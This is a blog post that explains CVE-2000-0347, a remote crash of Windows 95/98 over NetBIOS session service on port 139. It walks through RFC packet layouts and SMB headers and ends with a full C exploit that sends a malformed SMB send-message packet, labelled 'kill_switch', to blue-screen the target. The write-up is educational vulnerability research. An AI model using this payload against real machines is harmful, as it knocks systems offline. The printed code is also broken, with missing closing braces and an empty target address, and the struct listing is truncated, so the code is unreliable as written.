Exploiting SMB/NetBIOS on Windows 95/98

By Conrad Schneggenburger

“I wish I could be as happy as excited Windows 95 guy is every day.”  – Imgur, 2015

Ahh. Windows 9x

            Upon first starting a virtual machine of Windows 98, vivid memories began flooding back to me. I was just a toddler when I jumped on to a computer for the first time, and this was what we had back in the day. I can still recall the look and feel of this ancient operating system – the startup noise when you first log in, the pale-blue default wallpaper, and the piano sound error messages (I remember hearing plenty of those).

            Of course, I hardly need to mention the countless reasons you would be insane even to try using this OS family as your ‘daily driver’ nowadays. Using Windows XP or Vista is a terrible idea, let alone an operating system from the 1990s. We are talking about the first edition of Windows to support USB 2.0, and it wasn’t designed to handle more than 1 Gigabyte of RAM out of the box[1]. And in case you were wondering – yes, the Windows 9x family is built on top of MS-DOS.[2]

            On top of this, Windows 98 was not the most stable operating system Microsoft has released. Those of you older folks (*don’t say OK boomer*) may remember the renowned press demo Bill Gates gave in the late 90s when he was showing off the new device driver plug-and-play features of Windows 98. But alas, after plugging in a scanner, the entire operating system crashed in front of the audience displaying the blue screen of death.[3]

Speaking of blue screens, today we are going to be talking about a NetBIOS exploit that does just that.


            Believe it or not, NetBIOS is technically not a network protocol, but rather an API that operates at the Session Layer of the OSI model. Although NetBIOS is fully capable of running over TCP/IP, it was not originally designed to take advantage of it. In earlier networks, NetBIOS saw its use primarily over the Link Layer, from which it served a critical function for Local Area Networks throughout the 1980s. It was so popular that in 1985, Microsoft adopted NetBIOS as the primary means of network name resolution for MS-DOS before the Domain Name System (DNS) appeared in 1987. [4] Thanks to the widespread adoption of TCP/IP for network communication and DNS for name resolution, NetBIOS is all but completely irrelevant in today’s modern networks. One quick Google search will yield plenty of online forums and articles on the matter, many of which suggest that NetBIOS be disabled on systems altogether. Although it would appear that the API is indeed on it’s way out, NetBIOS is still commonly used under legacy programs and devices.

            Fortunately for us, NetBIOS is consistently relied on in the Windows 9x family. Even better, it also comes pre-enabled, which is precisely what makes this attack so deadly – no setup required! Starting with a relatively fresh Windows 98 installation, we can run the netstat command in the MS-DOS prompt to see what services are running:

And sure enough, NetBIOS is listening! Perfect.

            Before we get started, we will dive into a brief overview of NetBIOS over TCP/IP and what services it entails. NetBIOS encompasses three distinct network services, all of which use a dedicated port number. A quick explanation of each service are listed below:[5]

  1. Name Services (utilizing UDP or TCP port 137) allows for name registration and resolution.
  2. Datagram Services (utilizing UDP port 138) is for connectionless communication over a network, such as error reporting. It allows for message broadcasts to all computers on a network.
  3. Session Services (utilizing TCP port 139) lets two computers establish a connection for conversation.

            Although the name service tends to be the most common form of NetBIOS observed in a network capture (NBNS packet in Wireshark), we will be focusing on the session service when we carry out this attack. What exactly is this exploit? Well, according to CVE-2000-0347, “Windows 95 and Windows 98 allow a remote attacker to cause a denial of service via a NetBIOS session request packet with a NULL source name.”[6] After digging a bit deeper, I have found that achieving this will require two steps: 1) establish a NetBIOS session with our target, and 2) send the malicious packet as a part of the Windows Server Message Block (SMB) service.

            However, it turns out the description behind this CVE is quite misleading. The first problem is that there is no such thing as a “source name” field in a NetBIOS over TCP/IP session. According to RFC 1001, “Once the TCP connection is open, the calling node sends a session service request packet.  This packet contains the following information: [7]

  1. Calling IP address (see note)
  2. Calling NetBIOS name
  3. Called IP address (see note)
  4. Called NetBIOS name

NOTE: The IP addresses are obtained from the TCP service interface.”

Likewise, according to RFC 1002, we can see that a session request packet for NetBIOS takes on the following format:[8]

                        1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   |      TYPE     |     FLAGS     |            LENGTH             |
   |                                                               |
   /                          CALLED NAME                          /
   |                                                               |
   |                                                               |
   /                          CALLING NAME                         /
   |                                                               |

            Notice how the RFC never mentions using a “source name.” Of course, we could assume that the CVE is referring to the CALLED name in this context, but this only leads us to another problem. Specifying a CALLED name that does not match what our target is listening on will only yield a negative session response back, which leads to the connection closing. Furthermore, once the CALLED and CALLING names appear in the session request, they never show up anywhere else during the NetBIOS session! According to RFC 1002, the general format for a session packet takes on the following form:

                        1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3

    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1


   |      TYPE     |     FLAGS     |            LENGTH             |


   |                                                               |

   /               TRAILER (Packet Type Dependent)                 /

   |                                                               |


   The TYPE, FLAGS, and LENGTH fields are present in every session



            We can only assume the CVE is talking about the data that gets sent during an existing session, which means we need to figure out what SMB message we need to communicate over the NetBIOS session – starting with the SMB header. According to Microsoft documentation, “the SMB_Header structure is a fixed 32-bytes in length.”[9]



   UCHAR  Protocol[4];

   UCHAR  Command;

   SMB_ERROR Status;

   UCHAR  Flags;

   USHORT Flags2;


   UCHAR  SecurityFeatures[8];

   USHORT Reserved;






            It looks like there isn’t a source name listed here, either. However, we can verify that this is the correct header format by running a Wireshark trace with the CVE demonstration code. Likewise, we can also identify which SMBcommand the header contains:

            So, what gives? What “source name” is the CVE referencing here? After digging even deeper through the rabbit hole of Microsoft documentation, it turns out the source name has something to do with the SMB Command field that appears in the figure above. The SMB Message Delivery Protocol makes use of this command to send and receive messages:

The SMB_COM_SEND_MESSAGE message is used to send an entire text message in which the length of the message is 128 bytes or less.

In the SMB header of these messages, the Command field MUST be set to 0xD0, as specified in [MS-SMB] section In the response message, the header MAY contain a Status code, as specified in [MS-SMB] section All other fields in the SMB header MUST be set to 0x00.<3>

The payload of the SMB_COM_SEND_MESSAGE request message is specified as follows.[10]

Now we’re getting warmer. The OriginatorName must be what the CVE is referring to. Perhaps the CVE could have been more specific?

Reproducing the Exploit

            Now it’s time to put this plan into action and reproduce the exploit as the finishing touch to my blog. Much of this reproduction derives from the Wireshark traffic previously captured. I wrote this program in C and used raw hexadecimal values throughout the entire connection process. All of the parameters I used, including the CALLED and CALLING NetBIOS names and the destination IP address, were also hardcoded for simplicity. While writing this code, I discovered that neglecting to include an SMB payload altogether produces the same effect as sending a legitimate message with the OriginatorName set to null.

Also included in this blog (at the very end) is a video of the exploit in action – with some funny sound effects, of course!

#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>

#define IP ""
#define PORT 139
#define CHUNK_SIZE 1024

int main(int argc, char const *argv[]) {
    int sock = 0;
    struct sockaddr_in serv_addr;
    char buffer[CHUNK_SIZE] = {0};

    /* NetBIOS Session Request */
    char session_request[] = "\x81\x00\x00\x44" // Hex for SESSION REQUEST type (1 byte) | Flags (1 byte) | Length of proceeding data (2 bytes)
                      "\x20" // Starting delimiter
                      "\x46\x44\x46\x45\x46\x46\x45\x45\x45\x46\x45\x4f\x46\x45\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41\x44" // CALLING NAME (32 bytes)
                      "\x00" // Ending delimiter
                      "\x20" // Starting delimiter
                      "\x45\x44\x45\x50\x45\x4F\x46\x43\x45\x42\x45\x45\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41\x44" // CALLER NAME (32 bytes)
                      "\x00"; // Ending delimiter

    /* SMB Message >:) */
    char kill_switch[] = "\x00\x00\x00\x23" // Hex for SESSION MESSAGE type (1 byte) | Flags (1 byte) | Length of proceeding data (2 bytes)
                         "\xff" // Deliminator: always 0xFF
                         "\x53\x4d\x42" // Identifier: "SMB"
                         "\xd0" // Command: "SMBsends" (Send message)
                         "\x00" // Error Class: N/A
                         "\x00" // Reserved: always 0x00
                         "\x00\x00" // Error Code: N/A
                         "\x00" // Flags: N/A
                         "\x00\x00" // Flags 2: N/A
                         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // Reserved: always 0x00
                         "\x00\x00" // Tree ID: N/A
                         "\x00\x00" // Process ID: N/A
                         "\x00\x00" // Unauthenticated User ID: N/A
                         "\x00\x00" // Multiplex ID: N/A
                         "\x00" // 16-bit Field Count: N/A
                         "\x00\x00"; // 16-bit Byte Count: N/A

    /* Create the socket */
    if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        printf("\nError creating the socket\n");
        return -1;

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(PORT);

    /* Convert IPv4 address from text to binary form */
    if (inet_pton(AF_INET, IP, &serv_addr.sin_addr) < 0) {
        printf("\nInvalid address / address not supported\n");
        return -1;

    /* Open the connection */
    if (connect(sock, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
        printf("\nConnection failed\n");
        return -1;

    /* Send the TCP data */
    send(sock, session_request, sizeof(session_request) - 1, 0);
    printf("Session request sent. Waiting for reply...\n");
    read(sock, buffer, CHUNK_SIZE);

    /* Check if the NetBIOS session is valid */
    if (buffer[0] != '\x82') {
        printf("NetBIOS session is invalid. Abort!\n");
        return -1;

    printf("Reply received. Sending kill switch...\n");
    send(sock, kill_switch, sizeof(kill_switch) - 1, 0);
    read(sock, buffer, CHUNK_SIZE);
    printf("%s\n", buffer);

    /* Close the connection and destroy the socket */
    if (close(sock)) {
        printf("\nFailed to close the connection\n");
        return -1;

    return 0;

[1] https://en.wikipedia.org/wiki/Windows_98

[2] https://www.theregister.co.uk/2018/06/25/windows_98_at_20/

[3] https://www.youtube.com/watch?v=-NsXHPq71Bs

[4] https://en.wikipedia.org/wiki/NetBIOS

[5] https://10dsecurity.com/saying-goodbye-netbios/

[6] https://nvd.nist.gov/vuln/detail/CVE-2000-0347

[7] https://tools.ietf.org/html/rfc1001#section-16.1.1

[8] https://tools.ietf.org/html/rfc1002#section-4.3.2

[9] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/69a29f73-de0c-45a6-a1aa-8ceeea42217f

[10] https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-MSRP/%5bMS-MSRP%5d.pdf

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s